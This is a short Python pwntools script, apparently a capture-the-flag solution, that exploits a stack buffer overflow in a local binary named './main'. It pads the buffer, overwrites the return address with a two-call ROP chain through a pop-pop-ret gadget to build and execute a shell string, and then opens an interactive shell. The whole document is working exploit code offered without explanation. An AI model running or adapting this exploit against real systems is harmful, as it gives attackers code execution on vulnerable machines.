
from pwn import *

CONCAT = 0x0804850d
EXECUTE = 0x080484e6

STRING = 0x0804a060
SH = 0x0804a0c4

POP_POP_RET = 0x0804861a


s = process("./main")

# Uncomment for debugging
#gdb.attach(s, '''
#	b*0x080484e5
#	''')

payload = 'A'*128
payload += 'BBBB' # EBP

# ROP
# First call
payload += p32(CONCAT) # CONCAT
payload += p32(POP_POP_RET) # RET ADDRESS CONCAT (GADGET)
payload += p32(STRING) # 1 PARAM FOR SYSTEM
payload += p32(SH) # 2 PARAM FOR SYSTEM

# Second call
payload += p32(EXECUTE) # EXECUTE
payload += 'AAAA' # RET ADDRESS EXECUTE
payload += p32(STRING) # 2 PARAM FOR SYSTEM


payload += '\n'
s.send(payload)
print(s.recv())
s.interactive()
s.close()